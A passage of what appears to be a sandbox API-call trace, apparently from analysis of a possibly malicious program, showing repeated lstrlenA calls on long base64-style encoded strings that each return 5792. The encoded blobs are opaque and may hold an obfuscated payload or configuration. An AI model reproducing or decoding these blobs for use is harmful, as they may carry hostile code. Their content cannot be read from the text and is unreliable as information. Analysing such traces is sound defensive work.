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") returned 5792 [0163.805] lstrlenA (lpString="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") returned 5792 [0163.805] lstrlenA (lpString="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") returned 5792 [0163.805] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeu